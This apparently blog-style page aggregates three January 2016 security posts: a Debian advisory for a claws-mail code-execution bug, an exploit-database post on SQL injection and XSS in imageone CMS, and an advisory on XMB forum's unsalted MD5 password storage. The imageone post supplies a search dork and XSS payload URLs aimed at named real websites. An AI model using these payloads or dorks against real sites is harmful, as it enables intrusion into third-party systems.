2016 m. sausio 28 d., ketvirtadienis

[SECURITY] [DSA 3452-1] claws-mail security update

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Debian Security Advisory DSA-3452-1                   security@debian.org
https://www.debian.org/security/                            Ben Hutchings
January 23, 2016                      https://www.debian.org/security/faq
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Package        : claws-mail
CVE ID         : CVE-2015-8614

"DrWhax" of the Tails project reported that Claws Mail is missing
range checks in some text conversion functions.  A remote attacker
could exploit this to run arbitrary code under the account of a user
that receives a message from them using Claws Mail.

For the oldstable distribution (wheezy), this problem has been fixed
in version 3.8.1-2+deb7u1.

For the stable distribution (jessie), this problem has been fixed in
version 3.11.1-3+deb8u1.

We recommend that you upgrade your claws-mail packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/

imageone Cms Multiple vulnerabilities

Sql and Xss vulnerability in imageone Cms All Version


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         Iranian Exploit DataBase
TiTle : imageone Cms Multiple vulnerabilities
Risk : High
Tested on : Linux
Vendor site : http://www.image1tech.net/
Dork : intext:"imageone development"
Version : All Version Of Cms
Author : Amir
Home : http://iedb.ir - http://xssed.ir
Archive Exploit : http://iedb.ir/exploits.php?id=4582
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Bug :
http://target/index.php?pageid=[sql][xss]
http://target/inventory.php?classid=[sql][xss]

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Dem0 :

http://www.oerv.com/index.php?pageid=5[xss][sql]'"><script>alert('iedb.ir')</script>
http://www.outdoorexpressrv.com/index.php?pageid=6[xss][sql]'"><script>alert('iedb.ir')</script>
http://www.oerv.com/inventory.php?classid=16[xss][sql]'"><script>alert('iedb.ir')</script>
http://www.outdoorexpressrv.com/inventory.php?classid=16'"><script>alert('iedb.ir')</script>


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Thanks to all the friends and Iranian hackers, and thank all the members http://Iedb.Ir And IrIsT.Ir Team
Home : http://iedb.ir - http://xssed.ir - http://iedb.ir/acc
http://Xssed.Ir : On this site, all bugs Xss and Sql which sites are placed.Be sure to check the site and sites vulnerable to it.
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Archive Exploit : http://iedb.ir/exploits.php?id=4582
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XMB - eXtreme Message Board v1.9.11.13 Weak Crypto

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/XMB-WEAK-CRYPTO.txt



Vendor:
==============
xmbforum2.com


Product:
======================================
XMB - eXtreme Message Board v1.9.11.13
XMB forum software is open source and runs PHP scripts with a MySQL database backend.


Vulnerability Type:
==============================
=========
Weak Crypto / Insecure Password Storage



Vulnerability Details:
=====================

1) Weak Crypto

XMB Forum uses weak MD5 hashing algorithm and no salt, the unsalted passwords are then stored in a browser cookie and also in the 'xmb_members'
table of the XMB database. Using weak cryptographic one-way hash functions like MD5 without using salt for storing user passwords allows attackers
that gain access to this data ability to conduct password cracking attacks using pre-computed dictionaries, e.g. rainbow tables.

2) Insecure Storage

Storing user passwords in unsalted MD5 hash form leaves them vulnerable both online and offline. I noticed XMB has no session timeout/logout mechanism
for if a user is inactive for a certain period of time and does not logout, leaving thier MD5 unsalted passwords stored in cookies on disc. This further
allows thier passwords to be vulnerable to theft if their local machine is compromised. However, even if the user logs out and XMB cookies are cleared
the passwords are still in the MySQL database on the server unsalted and MD5 hashed.


POC:
=====

Example XMB cookie ...

MD5 password of 'abc123' ----> 'e99a18c428cb38d5f260853678922e03'

"xmblva=1453182891; xmblvb=1453178920; xmbuser=admin; xmbpw=e99a18c428cb38d5f260853678922e03; xmblva=1453091894;


On disc ---> %APPDATA%\Roaming\Mozilla\Firefox\Profiles in the 'cookies.sqlite' database file used by Firefox.

e.g.

localhostxmbpwe99a18c428cb38d5f260853678922e03localhost/XMB-1.9.11.13/files

In "member.php" on line 493 under files/ dir of XMB application we see hashing of user password using weak MD5 hashing function, then being stored
in the MySQL database.

$password = md5($password);



if ($SETTINGS['regoptional'] == 'off') {

$db->query("INSERT INTO ".X_PREFIX."members (username, password, regdate, postnum, email, ....

etc....

In 'member.php' line 599 we see it stored in cookie ---> put_cookie("xmbpw", $password, $currtime, $cookiepath, $cookiedomain);


Disclosure Date:
====================================
Vendor Notification:  NA
January 23, 2016 : Public Disclosure



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx